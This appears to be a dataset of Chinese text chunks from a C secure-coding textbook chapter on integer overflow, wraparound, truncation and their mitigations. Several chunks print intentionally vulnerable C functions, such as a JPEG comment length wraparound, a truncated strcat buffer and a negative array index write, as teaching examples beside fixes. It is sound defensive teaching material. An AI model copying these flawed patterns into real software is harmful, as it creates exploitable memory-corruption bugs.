    {"text": "未知 5.4.3 减法 与加法类似，减法也是一种加法操作。对减法而言，两个操作数都必须是算术类型或指向兼容对象类型的指针。从一个指针中减去一个整数也是合法的。递减操作等价于减1操作。本节只涉及两个整数类型值的减法。 用状态标志做后验条件测试 。x86-32指令集包含sub（减法）和sbb（带借位减法）。sub指令从目的操作数中减去源操作数，并将结果存储在目的操作数中。目的操作数可以是一个寄存器或者内存位置。源操作数可以是一个立即数（immediate）、寄存器或内存位置。但是，目的操作数和源操作数不能都在内存位置。 指令sbb通常被用在多字节（multibyte）或多字（multiword）减法场合，即在指令sub后，紧跟一个sbb指令。sbb指令将源操作数（第二个操作数）和进位标志相加，并从目的操作数中减去刚才所得的结果。减法操作的结果被存储在目的操作数中。进位标志表示上一个减法操作中是否有借位出现。 sub和sbb指令可以对溢出和进位标志置位，以分别表示有符号或无符号结果的溢出。 x86-32架构中的减法指令与加法有着同样的模式，例如，微软Visual C++编译器为两个signed long long类型的整数减法生成如下指令。 1 sll1 - sll2 2 3 mov eax, dword ptr [sll1] 4 sub eax, dword ptr [sll2] 5 mov ecx, dword ptr [ebp-0E0h] 6 sbb ecx, dword ptr [ebp-0F0h] sub指令把低32位相减。如果这一减法产生回绕，那么额外的进位存储在CF。sbb指令把源操作数（表示高32位）和进位[CF]标志相加并把结果从目标操作数（表示低32位）中减去，以生成64位的差。 避免或检测减法产生的有符号溢出 。在x86-32汇编级别，可以在执行sub指令（32位情况）或sbb指令（64位情况）后，利用jo（溢出则跳转）或jno指令（不溢出则跳转）来检测减法导致的有符号溢出。 先验条件测试 。两个正数相减或两个负数相减都不会发生溢出。考虑补码表示，下列代码测试减法的操作数，以保证不存在利用位操作的有符号溢出的可能性。这利用了如下原理：如果两个操作数异号，并且结果的符号与第一个操作数不同，则已发生减法溢出。它也利用了C中无符号操作的回绕行为。 01 signed int si1, si2, result; 02 03 /* 初始化si1 和si2 */ 04 05 if ((si1 ^ si2) & (((unsigned int)si1 - si2) ^ si1) & INT_MIN) 06 /* 处理错误条件 */ 07 } 08 else { 09 result = si1 - si2; 10 } 异或用作一个按位的“不等”操作。要测试符号位置，表达式用INT_MIN进行掩码，这使得只有符号位被设置。 该解决方案只适用于使用补码表示的架构。虽然大多数现代化的平台上使用这种类型的表示，但是最好不要引入不必要的平台依赖性（参见《C安全编码标准》[Seacord 2008],“MSC14-C.不要引入不必要的平台依赖性”）。 另外，也可以实现一个可移植的先验条件测试用于检测减法造成的溢出。如果第二个操作数是正数，则检查第一个操作数是否小于那种类型的最小值加上第二个操作数。对于signed int类型的操作数，例如，测试op1﹤INT_MIN+ op2。如果第二个操作数是负数，则检查第一个操作数是否大于那种类型的最大值加上第二个操作数。 避免或检测减法产生的回绕 。如果两个操作数之差是负数，那么无符号减法会产生回绕。 使用状态标志做后验条件测试 。在x86-32位汇编级，无符号回绕可以使用jc指令（如有进位则跳转）或jnc指令（如无进位则跳转）检测。这些条件跳转指令在32位的情况下，被放置在sub指令后，在64位的情况下，则被放置在sbb指令之后。 先验条件测试 。下面程序片段执行了无符号操作数的减法操作的先验条件测试，以保证不存在无符号回绕现象。 01 unsigned int ui1, ui2, udiff; 02 03 /* 初始化ui1 和ui2 */ 04 05 if (ui1 < ui2){ 06 /* 处理错误条件 */ 07 } 08 else { 09 udiff = ui1 - ui2; 10 } 后验条件测试 。下面程序片段执行了无符号减法操作的结果udiff不大于第一个操作数的后验条件测试。 1 unsigned int ui1, ui2, udiff; 2 3 /* 初始化ui1 和ui2 */ 4 5 udiff = ui1 - ui2; 6 if (udiff > ui1) { 7 /* 处理错误条件 */ 8 }"},
    {"text": "对于一个给定宽度的最大的无符号值，它的平方的结果由下列公式表示： 0≤x*y≤（2 N –1） 2 =2 2 N –2 N+1 +1 在这种情况下，该积可能需要最多2N个位来表示。"},
    {"text": "最小的补码是最小值和最大值相乘的结果： 0≥x*y≥（–2 N–1 ）（2 N–1 –1）=–2 2 N–2 +2 N–1 在这种情况下，该积需要2N–2位外加用于符号位的1位，即等于2N–1位。 补码表示的最大值是有符号补码最小值平方的结果： x*y≤（–2 N–1 ） 2 =2 2N–2 在这种情况下，该积需要2N位，包括符号位。"},
    {"text": "X86-32指令集包括mul（无符号乘法）和imul（有符号乘法）指令。 mul指令执行一个目标操作数和源操作数的无符号乘法，并将结果存储在目标操作数中。"},
    {"text": "01 if (OperandSize == 8) { 02 AX = AL * SRC; 03 else { 04 if (OperandSize == 16) { 05 DX:AX = AX * SRC; 06 } 07 else { // OperandSize == 32 08 EDX:EAX = EAX * SRC; 09 } 10 } mul指令接受8位、16位和32位操作数，并将结果分别存储在16位、32位和64位的目标寄存器中。"},
    {"text": "01 int si1 = /* 某个值 */; 02 int si2 = /* 某个值 */; 03 int si_product = si1 * si2; 04 mov eax, dword ptr [si1] 05 imul eax, dword ptr [si2] 06 mov dword ptr [ui_product], eax 07 08 unsigned int ui1 = /* 某个值 */; 09 unsigned int ui2 = /* 某个值 */; 10 unsigned int ui_product = ui1 * ui2; 11 mov eax, dword ptr [ui1] 12 imul eax, dword ptr [ui2] 13 mov dword ptr [ui_product], eax 为了测试乘法产生的有符号溢出或无符号回绕，首先要确定运算是一个有符号还是无符号运算，并使用适当的乘法指令。"},
    {"text": "对于mul指令，如果结果的上半部分为0，那么溢出标志位和进位标志位都被设置为0，否则它们都被设置为1。 对于imul指令，当有效位（包括符号位）进位到结果的上半部分时，进位标志位和溢出标志位被置位，当结果（包括符号位）与结果的下半部分完全符合时，进位标志位和溢出标志位都被清除。"},
    {"text": "01 unsigned int ui1 = /* 某个值 */; 02 unsigned int ui2 = /* 某个值 */; 03 unsigned int product; 04 05 /* 初始化 ui1 和 ui2 */ 06 07 static_assert( 08 sizeof(unsigned long long) >= 2 * sizeof(unsigned int), 09 \"Unable to detect wrapping after multiplication\" 10 ); 11 12 unsigned long long tmp = (unsigned long long)ui1 * 13 (unsigned long long)ui2; 14 if (tmp > UINT_MAX) { 15 /* 处理无符号回绕 */ 16 } 17 else { 18 product = (unsigned int)tmp; 19 } 对于有符号整数，结果的上半部分是全“0”或全“1”，并且符号位在结果的下半部分表示没有溢出。 下面的解决方案，保证在long long宽度至少是int宽度两倍的系统上，不可能产生有符号溢出： 01 /* 初始化 si1 和 si2 */ 02 03 static_assert( 04 sizeof(long long) >= 2 * sizeof(int), 05 \"Unable to detect overflow after multiplication\" 06 ); 07 08 long long tmp = (long long)si1 * (long long)si2; 09 10 if ( (tmp > INT_MAX) || (tmp < INT_MIN) ) { 11 /* 处理有符号溢出 */ 12 } 13 else { 14 result = (int)tmp; 15 } 这两种解决方案都使用静态断言，以确保无符号回绕和有符号溢出的测试成功。"},
    {"text": "01 unsigned int ui1 = /* 某个值*/; 02 unsigned int ui2 = /* 某个值*/; 03 unsigned int product; 04 05 if (ui1 > UINT_MAX/ui2) { 06 /* 处理无符号回绕*/ 07 } 08 else { 09 product = ui1 * ui2; 10 } 例5.5是一种可移植的解决方案，它可以防止有符号溢出，而不需要向上强制类型转换到现有位数的两倍的整数类型。"},
    {"text": "例5.5 不需要向上强制类型转换而防止有符号溢出 01 signed int si1 = /* 某个值*/; 02 signed int si2 = /* 某个值*/; 03 signed int product; 04 05 if (si1 > 0) { /* si1 是正数 */ 06 if (si2 > 0) { /* si1 和 si2 都是正数*/ 07 if (si1 > (INT_MAX / si2)) { 08 /* 处理错误情况 */ 09 } 10 } /* end if si1 和 si2 都是正数*/ 11 else { /* si1 是正数, si2 不是正数 */ 12 if (si2 < (INT_MIN / si1)) { 13 /* 处理错误情况*/ 14 } 15 } /* end if si1 是正数, si2 不是正数*/ 16 } /* end if si1 是正数*/ 17 else { /* si1 不是正数*/ 18 if (si2 > 0) { /* si1 不是正数, si2 是正数 */ 19 if (si1 < (INT_MIN / si2)) { 20 /* 处理错误情况*/ 21 } 22 } /* end if si1 不是正数, si2 是正数*/ 23 else { /* si1 和 si2 都不是正数*/ 24 if ( (si1 != 0) && (si2 < (INT_MAX / si1))) { 25 /* 处理错误情况*/ 26 } 27 } /* end if si1 和 si2 都不是正数*/ 28 } /* end if si1 不是正数*/ 29 30 product = si1 * si2;"},
    {"text": "但并不总是显而易见的是，有符号整数除法也可能导致溢出，因为你可能认为商数始终小于被除数。 然而，补码的最小值除以–1时会出现整数溢出。"},
    {"text": "C11标准6.5.5节，规定 如果a/b的商可表示，那么表达式（a/b）*b + a%b应等于a，否则，a/b和a%b的行为都是未定义的。 这使得当a/b的商无法表示时，C11明确a/b和a%b的行为都是未定义的，通过联想，在C99中它们的行为是隐式未定义的。"},
    {"text": "div 指令用存储于ax、dx:ax 或edx:eax 寄存器中的（无符号）整数（被除数）除以源操作数（除数），并将结果存储于ax（ah:al）、dx:ax 或edx:eax 寄存器中。"},
    {"text": "例5.6 Intel汇编指令 01 int si_dividend = /* 某个值 */; 02 int si_divisor = /* 某个值 */; 03 int si_quotient = si_dividend / si_divisor; 04 mov eax, dword ptr [si_dividend] 05 cdq 06 idiv eax, dword ptr [si_divisor] 07 mov dword ptr [si_quotient], eax 08 09 unsigned int ui_dividend = /* 某个值 */; 10 unsigned int ui_divisor = /* 某个值 */; 11 unsigned int ui_quotient = ui1_dividend / ui_divisor; 12 mov eax, dword ptr [ui_dividend] 13 xor edx, edx 14 div eax, dword ptr [ui_divisor] 15 mov dword ptr [ui_quotient], eax 正如所料，有符号除法使用idiv指令，无符号除法使用div指令。"},
    {"text": "在有符号的情况下，首先将存储于eax寄存器中的si_dividend的值通过符号扩展的方法达到令其类型大小加倍的目的，然后将计算结果存储于edx:eax寄存器中。"},
    {"text": "在源操作数（除数）为0或者商对于结果寄存器而言过大的情况下，这些指令会产生一个除法错误。 除法错误会以中断向量0的形式产生一个故障（fault）。"},
    {"text": "01 signed long sl1 = /* 某个值 */; 02 signed long sl2 = /* 某个值 */; 03 signed long quotient; 04 05 /* 初始化 sl1 和 sl2 */ 06 07 if ( (sl2 == 0) || ( (sl1 == LONG_MIN) && (sl2 == -1) ) ) { 08 /* 处理错误情况 */ 09 } 10 else { 11 quotient = sl1 / sl2; 12 } 下面的程序片段也可能导致未定义的行为，如在x86-32上的除以零错误。 signed long sl1, sl2, result; /* 初始化 sl1 和 sl2 */ result = sl1 % sl2; 此外，许多硬件平台上把求余实现为除法运算符的一部分，它可能产生溢出。"},
    {"text": "例如，在x86-32平台上，有符号除法的余数也是由idiv指令计算的，它正如我们所看到的，如果商对指定的寄存器而言太大，就产生除法错误。"},
    {"text": "01 signed long sl1, sl2, result; 02 03 /* 初始化 sl1 和 sl2 */ 04 05 if ( (sl2 == 0 ) || ( (sl1 == LONG_MIN) && (sl2 == -1) ) ) { 06 /* 处理错误情况 */ 07 } 08 else { 09 result = sl1 % sl2; 10 } 后验条件 。"},
    {"text": "结构化异常处理是操作系统提供的一项设施，它不同于C++的异常处理机制。 微软为C语言提供了一套扩展，从而使C程序可以处理Win 32结构化异常。"},
    {"text": "例5.7的程序片段展示了在C程序中如何使用SEH，以便从除以零或因除法操作导致的溢出故障中恢复。 例5.7 使用SEH从故障中恢复 01 #include <windows.h> 02 #include <limits.h> 03 04 int main(int argc, char* argv[]) { 05 int x, y; 06 07 __try { 08 x = 5; 09 y = 0; 10 x = x / y; 11 } 12 __except (GetExceptionCode() == 13 EXCEPTION_INT_DIVIDE_BY_ZERO ? 14 EXCEPTION_EXECUTE_HANDLER : 15 EXCEPTION_CONTINUE_SEARCH){ 16 puts(\"Divide by zero error.\"); 17 } 18 19 __try { 20 x = INT_MIN; 21 y = -1; 22 x = x / y; 23 } 24 __except (GetExceptionCode() == 25 EXCEPTION_INT_OVERFLOW ? 26 EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { 27 puts(\"Integer overflow during division.\"); 28 } 29 30 __try { 31 x = INT_MAX; 32 x++; 33 printf(\"x = %d.\\n\", x); 34 } 35 __except (GetExceptionCode() == 36 EXCEPTION_INT_OVERFLOW ? 37 EXCEPTION_EXECUTE_HANDLER : 38 EXCEPTION_CONTINUE_SEARCH) { 39 puts(\"Integer overflow during increment.\"); 40 } 41 /* ... */ 42 } 这一程序片段还展示了SEH并不能被用来检测由加法或其他操作所导致的溢出错误。"},
    {"text": "第6~10行的__try块中包含执行时会触发除以零故障的代码。 第11~16行包含了捕获和处理该故障的__except块。 类似地，第18~27行包含一个运行时导致整数溢出的故障以及相应的异常处理程序，以便从故障中恢复。"},
    {"text": "其中__try块中的代码会导致一个整数溢出情形，然而，可以捕获“由除法故障所导致的溢出异常”的异常处理器无法检测到这个溢出，因为加法操作并不产生一个硬件故障。"},
    {"text": "为了防止程序在这种情况下非正常终止，可以像下面这样利用signal（）调用安装一个信号处理器： signal(SIGFPE, Sint::divide_error); signal（）调用接受两个参数：一个是信号的编号，另一个是信号处理器的地址。"},
    {"text": "假设在x86-32中，下面的程序片段中的补码实现： signed int x = INT_MIN; signed int y = -x; x被表示为 10000000 00000000 00000000 00000000 在补码中并通过取补码来求反会得到 10000000 00000000 00000000 00000000 这个值与INT_MIN和x都是相同的。"},
    {"text": "未知 5.4.6 移位 移位操作包括左移位和右移位。左移位操作的形式是： shift-expression << additive-expression （移位表达式<<附加表达式） 右移位操作的形式是： shift-expression >> additive-expression （移位表达式>>附加表达式） 移位会在操作数上执行整数提升，其中每个操作数都具有整数类型。结果类型是提升后的左操作数类型。 移位运算符右边的操作数提供移动的位数。如果该数值为负值或者大于或等于结果类型的位数，那么该行为是未定义的。当代码在一个程序员碰巧知道大小的平台上开发，然后该代码被移植到另一个某些整数大小更小的平台时，这可能是一个问题。 在几乎所有情况下，试图移动一个负的位数或试图移动比操作数中存在的位数更多的位都表明一个错误（逻辑错误）。这与溢出是不同的，后者是一个表示不足。 欲了解更多信息，请参阅《C安全编码标准》[Seacord 2008]，“INT 34-C.不要移动一个负的位数或移动比操作数中存在的位数更多的位。” 左移 。E1<<E2的结果是E1左移E2位的位置，空出的位以0填充，参见图5.8。 图5.8 左移 如果E1是有符号类型并且是非负值，且E1*2E2能够在结果类型中表示，那么这就是结果值，否则，该行为是未定义的。 下面的程序片段消除了无符号整数左移位操作造成的未定义行为的可能性： 01 unsigned int ui1; 02 unsigned int ui2; 03 unsigned int uresult; 04 /* 初始化 ui1 和 ui2 */ 05 if (ui2 >= sizeof(unsigned int)*CHAR_BIT) { 06 /* 处理错误情况 */ 07 } 08 else { 09 uresult = ui1 << ui2; 10 } 左移一个无符号整数的值造成的模行为几乎总是有意的，因此不认为它是错误（根据《C安全编码标准》[Seacord 2008]）。按照“INT 13-C.仅在无符号操作数上使用位运算符”，移位运算符和其他位运算符应仅用于无符号整数操作数。 左移位可以用于代替2的幂次数的乘法运算。从历史上看，一些软件开发人员也已经这样做了，因为移位的速度会比乘法快。然而，任何现代的编译器都知道何时为编译器的目标架构执行这种替换。最好只有当目标是位操作时才使用左移位，而在做传统算术时使用乘法，这样使代码更易读，从而减少产生漏洞的机会。 右移 。E1﹥﹥E2的结果是E1右移E2位的位置。如果E1是一个无符号类型或有符号类型的一个非负的值，则该值的结果是E1/2E2的商的整数部分。如果E1是有符号类型的负值，那么由此产生的值是实现定义的，它可以是算术（有符号）移位，如图5.9a所示，或逻辑（无符号）移位，如图5.9b所示。 图5.9 （a）算术（有符号）移位；（b）逻辑（无符号）移位 下面的代码示例在执行算术移位的实现上可能会导致一个错误情况，并且数值被移位时符号位被传播。 01 unsigned int ui1; 02 unsigned int ui2; 03 unsigned int uresult; 04 05 /* 初始化 ui1 和 ui2 */ 06 07 if (ui2 >= sizeof(unsigned int)*CHAR_BIT) { 08 /* 处理错误情况 */ 09 } else { 10 uresult = ui1 << ui2; 11 } 在下面的例子中，stringify>>24求值为0xFFFFFF80或4 294 967 168。当转换为字符串时，所产生的值4 294 967 168如果存储在buf则过大，因此它被sprintf（）截断，导致缓冲区溢出。 1 int rc = 0; 2 int stringify = 0x80000000; 3 char buf[sizeof(\"256\")]; 4 rc = sprintf(buf, \"%u\", stringify >> 24); 5 if (rc == -1 || rc >= sizeof(buf)) { 6 /* 处理错误*/ 7 } 通过把stringify声明为一个无符号整数，可以修复这个问题。右移位操作的结果值是stringify/2 24 所得的商的整数部分。在这种情况下，另一种用来减少缓冲区溢出的方式是优先使用snprintf（）来代替sprintf（），这将截断字符串到目标大小。 另外，还要考虑使用ISO/IEC TR 24731-1和C11附录K中定义的sprintf_s（）函数来取代snprintf（），以提供一些额外的检查（参见《C安全编码标准》[Seacord 2008]“STR 07-C.使用TR 24731整治现有的字符串操作代码”）。 由于左移位可以取代2的幂次数的乘法，人们通常认为右移位可以取代2的幂次数的除法。然而，只有移位的数值为正时才是如此，原因有两个，首先，正如前面提到的，对负值右移位是算术还是逻辑移位是实现定义的。 其次，即使在已知执行算术右移位的一个平台上，其结果与除法也是不同的。例如，考虑一个8位补码表示的值–3与把它右移1位所得的结果值： 11111101原值–3， 11111110右移1位值=–2 –3除以2的算术运算结果是–1（向零截断）。然而，移位的结果是–2。 此外，现代编译器可以判断何时使用移位代替除法是安全的，并会在移位在它们的目标架构上更快时做这种替换。 出于这些原因，并为了保持代码清晰且易于阅读，只有在我们的目标是位操作时才应该用左移位，在执行传统的算术时，应使用除法。 未知 5.5 整数漏洞 5.5.1 漏洞 漏洞就是一系列允许违反显式或隐式安全策略的情形。安全缺陷可能是由于硬件层的整数错误或者是跟整数有关的不完善逻辑所造成的。当这些安全缺陷与其他情形结合起来时，就可能会产生漏洞。本节描述整数错误以及跟整数有关的不完善逻辑可能导致漏洞的一些情形。"},
    {"text": "未知 5.5.2 回绕 下面的程序展示了一个无符号整数回绕导致的实际漏洞的例子，这种回绕在处理JPEG文件注释域（comment field）时存在[Solar 2000]。 （comment field ）时存在[Solar 2000] 。 01 void getComment(size_t len, char *src) { 02 size_t size; 03 size = len - 2; 04 char *comment = (char *)malloc(size + 1); 05 memcpy(comment, src, size); 06 return; 07 } 08 09 int main(int argc, char *argv[]) { 10 getComment(1, \"Comment \"); 11 return 0; 12 } JPEG文件的注释域中包含一个长为2个字节的长度域，后者用来指示注释域的长度（也包括该两个字节的长度域本身在内）。为了确定注释字符串的单独长度（以便进行内存分配），getComment（）函数会读取长度域的值并将其减2（参见代码第3行）。然后此函数根据注释的长度加上用于表示终结空字符的1个字节所得的总长度来分配内存空间（参见代码第4行）。程序并没有检查长度域数值的有效性。这就使得攻击者可以创建一个图像，其注释的长度域包含一个在计算长度时可能会产生回绕的值。例如，如果长度域的数值为1，malloc（）函数就会被传入一个0字节的大小参数（1减2[长度域]加1[空终结符]）。 按照C标准，若请求的空间大小为0，则行为是实现定义的：要么返回一个空指针，要么行为如同大小是某个非零值的行为一样，除了返回的指针不应当被用于访问一个对象以外。 在实现了后一种行为的平台上，内存分配会成功。但是一旦comment指针用于在后续的memcpy（）调用中访问此对象，就会发生未定义的行为。这一漏洞可能被利用，来执行任意代码，如第4章中所述。 RUS-CERT报告2002-08:02描述了另一个真实的无符号整数回绕例子，它发生在用calloc（）或其他内存分配函数来计算一块内存区域的大小时。 以下程序片段可能会产生漏洞： p = calloc(sizeof(element_t), count); 库函数calloc（）接受两个参数：存储元素类型所需要的空间和元素的个数。为了求出所需内存的大小，使用元素个数乘以该元素类型所需的单位空间来计算。如果计算所得结果无法用类型为size_t的无符号整数表示，那么，尽管分配程序看上去能够成功地执行，但实际上它只会分配非常小的内存空间。结果，应用程序对分配的缓冲区的写操作可能会越界，从而导致基于堆的缓冲区溢出。 在NetBSD安全警告2000-002中记录了第三个真实的例子。NetBSD1.4.2和更早的版本使用下列形式的整数范围检查来验证接收到的消息： if (off > len - sizeof(type-name)) goto error; 这里的off和len都声明为singed int。因为根据C标准的定义，sizeof运算符返回的是一个无符号整数类型（size_t），整数转换规则要求在那些signed int的宽度等于size_t的宽度的实现上，len-sizeof（type-name）被计算为无符号的值。如果len比sizeof运算符返回的值小，那么减法操作会回绕并产生一个巨大的正值。结果，处理选项的代码可能继续用它的IP地址之一覆写包缓冲区附近的4个字节的内存。 要消除这个问题，可以把整数范围检查编写为下列替代形式： if ((off + sizeof(type-name)) > len) goto error; 程序员仍然必须保证这里的加法操作不会导致回绕，这是通过保证off的值在一个已定义的范围内实现的。为了消除潜在的转换错误，在本例中也应当把off和len都声明为size_t类型。 并非所有无符号整数回绕都是安全缺陷。精心定义的无符号整数算术求模属性经常被特意使用，例如，在散列算法和C标准里rand（）的示例实现中就都用到了这种属性。"},
    {"text": "未知 5.5.3 转换和截断错误 转换错误 。下面的函数包含一个由转换错误导致的安全缺陷。 1 void initialize_array(int size) { 2 if (size < MAX_ARRAY_SIZE) { 3 array = malloc(size); 4 /* 初始化数组 */ 5 } else { 6 /* 处理错误 */ 7 } 8 } 在这个例子中，initialize_array（）函数为array分配内存并初始化它的内容。它设置了一个检查，以避免在实际size参数太大时初始化数组。但是，如果size为负数，此检查将通过，而malloc（）函数将被传入一个为负的大小。因为malloc（）需要size_t类型的参数，所以size会被转换成一个巨大的无符号数。当有符号整数类型被转换为一个无符号的整数类型时，会重复加上或减去新类型的宽度（2N），以使结果落在可表示的范围之内。因此，这种转换可能会导致大于MAX_ARRAY_SIZE的值。这种错误可以通过把size声明为size_t而不是int来消除。 截断错误 。下面的程序包含一个由整数截断错误导致的缓冲区溢出漏洞。 1 int main(int argc, char *argv[]) { 2 unsigned short int total; 3 total = strlen(argv[1]) + strlen(argv[2]) + 1; 4 char *buff = (char *)malloc(total); 5 strcpy(buff, argv[1]); 6 strcat(buff, argv[2]); 7 /* ... */ 8 } 该程序接受两个字符串类型的参数并计算它们的总长度（加上结尾空字符占用的1个额外的字节）。程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中，然后将第二个参数连接在其尾部。 乍看上去，这段程序并没有什么问题，因为内存是根据需要动态分配的，以便容纳两个字符串。然而，攻击者可能会提供两个总长度无法用unsigned short整数total表示的字符串做参数。这样，总长度值将会用比结果类型所能表示的最大值大1的数取模截断。举例来说，如果第一个字符串参数的长度是65 500个字符，第二个参数的长度是36个字符，那么它们的长度总和加1将是65 537个字符。函数strlen（）返回一个无符号整数类型size_t的结果，size_t类型的变量保证有足够的精度来表示一个对象的大小。对于大多数实现而言，size_t的宽度大于unsigned short的宽度，必然要进行降级操作。 例如，假设short整数是16位，则第3行赋值的结果是（65 500+37）%65536=1。函数malloc（）能够成功地分配所要求的字节（即1个），但是strcpy（）和strcat（）的执行导致了缓冲区溢出。 下面的char_arr_dup（）函数也展示了一个截断错误如何导致漏洞的例子。 1 char *char_arr_dup(char *s, long size) { 2 unsigned short bufSize = size; 3 char *buf = (char *)malloc(bufSize); 4 if (buf) { 5 memcpy(buf, s, size); 6 return buf; 7 } 8 return NULL; char_arr_dup（）函数类似于POSIX的strdup（）函数，因为它为一个字符数组分配足够大小的内存空间来存储由s引用的字符数组的精确副本。唯一的区别是，char_arr_dup（）函数接受一个字符数组，而不是一个以空字符结尾的字符串，所以有必要提供一个额外的参数来指定数组的长度。 形式参数size被声明为long并用作memcpy（）函数的一个参数。同时，它还用来初始化第2行的bufSize，后者在第3行被用于为buf分配内存。 初看之下，该函数似乎不存在缓冲区溢出问题，因为用于memcpy（）的目的缓冲区的大小是动态分配的。但是，问题在于size被临时保存在unsigned short bufSize中。在LONG_MAX﹥USHRT_MAX的实现上，大于USHRT_MAX的size在第2行进行赋值时都会发生截断错误。当bufSize同时用于调用malloc（）和memcpy（）的时候，只会发生错误并不会产生漏洞。然而，由于bufSize被用于分配缓冲区的大小，而size则是用来在调用函数memcpy（）时指定大小，因此，缓冲区有可能会溢出。 注意有些编译器在较高的警告级别会诊断出第2行的截断。 未知 5.5.4 非异常的整数逻辑错误 许多可利用的软件缺陷并不完全需要一个异常条件来触发，有时仅仅是编写得不够好的代码所导致的结果。下面的函数包含一个使用有符号整数作为索引变量而引起的漏洞。 01 int *table = NULL; 02 int insert_in_table(int pos, int value) { 03 if (!table) { 04 table = (int *)malloc(sizeof(int) * 100); 05 } 06 if (pos > 99) { 07 return -1; 08 } 09 table[pos] = value; 10 return 0; 11 } 函数insert_in_table（）在一个整数数组的pos位置插入一个value。当函数在第4行第一次被调用时，系统从堆中分配存储空间给数组。第6、7、8行确保插入位置pos不大于99。在第9行数值被插入数组的指定位置。 尽管这个过程中不可能发生任何异常，然而由于对插入位置pos缺乏必要的范围检查，因此将会导致一个漏洞。因为pos开始时被声明为有符号整数，即传递到函数中的值既可正又可负。第6行可以捕获下标越界的正值，但却不会捕获负值。 如下的赋值语句（参见第9行）： table[pos] = value; 等价于： * （int* ）（（char* ）table+ （pos*sizeof （int ）））=value; 如果pos是一个负值，那么value将会被写入实际缓冲区起始地址pos*sizeof（int）字节之前的位置。这被认为是一个任意写（ arbitrary write ）情况并是漏洞的常见来源。该安全缺陷可以通过两种方式消除：将形式参数pos声明为无符号整数类型（例如size_t），或者把同时检查上界和下界作为范围检查的一部分。"},
    {"text": "未知 5.6 缓解策略 缓解措施是可以防止或限制针对漏洞利用的方法、技术、流程、工具或运行时库的总称。在源代码级，缓解措施可能涉及把无界的字符串复制操作替换为有界的。在系统或网络级别，缓解措施可能涉及关闭一个端口或过滤流量，以防止攻击者访问某个漏洞。本节讨论对造成整数错误的漏洞进行防止或限制的缓解战略。 我们知道，整数漏洞是由整数类型范围错误（integer type range error）所引起的。例如，发生整数溢出是因为在整数操作时产生了超过特定整数类型表示范围的数值。发生截断错误是因为结果被存放在一个对它而言过小的类型中。数据转换，特别是那些由于赋值或强制类型转换产生的转换，会导致转换后的值超出结果类型范围。甚至本章中描述的逻辑错误也是由于不恰当的范围检查所引起的。 由于所有的整数漏洞都是类型范围错误，因此，如果适当地运用类型范围检查，就能够消除所有的整数类型漏洞。诸如Pascal或者Ada这些语言，允许对任何标量类型应用范围限制，以形成子类型。以Ada为例，允许使用range关键字来声明对派生类型的范围约束。 type day is new INTEGER range1..31; 范围约束会被语言运行时强制执行。但是，C编程语言缺乏类似的机制，并且带有范围的整数类型不太可能成为C标准的一部分。幸好，有一些缓解措施能够用于减少或消除整数类型范围错误所招致的风险。"},
    {"text": "未知 5.6.1 整数类型的选择 开发安全代码的第一个步骤是选择适当的数据类型。一个整数类型提供了数学整数集的一个有限子集模型。选择可以表示可能的运行时值范围的整数类型，然后确保不超出这些范围。应使用无符号整数表示不可能是负数的整数值，而且应使用有符号整数值表示可以为负的值。在一般情况下，应该使用完全可以代表任何特定变量可能值的范围的最小的有符号或无符号类型，以节省内存。当内存消耗不是问题时，你可以决定把变量声明为signed int或unsigned int，以尽量减少潜在的转换错误。 例如，假设需要用一个整数表示一个对象的大小。则可以使用short int表示对象的大小，如以下声明所示： short total = strlen （argv[1] ）+1; 然而，这是次优的，有几个原因。首先，大小不会是负值，因此，没有必要使用一个有符号整数类型。这样可以使表示可能值的范围减半。其次，short整数类型对于可能的对象大小可能不具有足够的范围。你可能还记得，5.2.8节描述的无符号size_t类型，这是C标准委员会为了表示对象大小而引入的。size_t类型的变量都保证有足够的精度来表示一个对象的大小，如下面的示例所示： size_t total = strlen （argv[1] ）+1; size_t的限制由SIZE_MAX宏指定。 ISO/IEC TR 24731-1-2007和C11附录K引入了一个新类型rsize_t，它被定义为size_t，但明确地用于保存单个对象的大小： rsize_t total = strlen （argv[1] ）+1; 对于接受rsize_t类型参数的函数，如果这些参数的值大于RSIZE_MAX，就会诊断出违反约束，因为非常大的尺寸经常表示对象的大小被计算错误。例如，若负数转换为无符号类型，如size_t，就会出现非常大的正数。出于这些原因，限制对象的大小范围来检测错误有时是有益的。C11建议，对于具有大的地址空间的机器，RSIZE_MAX被定义为以下两者中的较小者，即使此限制小于一些合法但非常大的对象的大小。 ·支持的最大对象的大小 ·SIZE_MAX﹥﹥1 任何用于表示一个对象大小的变量，包括用作大小、索引、循环计数器和长度的整数值，如果可以，都应该声明为rsize_t，或声明为size_t。（参见《C安全编码标准》[Seacord 2008]，“INT01-C.把rsize_t或size_t用于所有表示一个对象的大小的整数值。”）让我们考察一个整数类型变量既被用作循环计数器又作为数组索引的例子。 1 char a[MAX_ARRAY_SIZE] = /* 初始化 */; 2 size_t cnt = /* 初始化 */; 3 4 for (unsigned int i = cnt-2; i >= 0; i--) { 5 a[i] += a[i+1]; 6 } 在本例中，变量i被赋予范围2~MAX_ARRAY_SIZE+1中的一个值，并且循环计数从高向低（有时也称为计数减少（counted minus）的循环）。所以，当然，这个代码是不正确的，因为它没有考虑到无符号整数值将产生回绕。因此，i的值将永远不会小于0，从而导致一个无限循环。把i的类型更改为signed int解决了这个问题。但是，如果在这个循环中把i声明为signed int类型，还有其他的问题。 1 for (int i = cnt-2; i >= 0; i--) { 2 a[i] += a[i+1]; 3 } SIZE_MAX﹥INT_MAX是常见的。例如，在x86-32架构中，int是有符号的32位值，size_t是一个32位的无符号值。这意味着实际的对象可能大于INT_MAX，并因此cnt-2也可能大于INT_MAX。在这种情况下，因为cnt-2赋值给i后，被转换为signed int，所以大小被表示为（可能很大的）负值。使用这种负值作为数组a[]的索引可能会导致在数组的范围之外写入并导致可利用的漏洞。然而，在这种情况下，for循环的控制表达式的计算结果为0，循环终止而不改变该数组的内容。 正确的办法是把i声明为size_t类型，如下面的例子所示。 1 for (size_t i = cnt-2; i != SIZE_MAX; i--) { 2 a[i] += a[i+1]; 3 } 虽然在这个例子中，但由于size_t是无符号类型，因此i产生了回绕，这种行为被标准明确定义为取模。"},
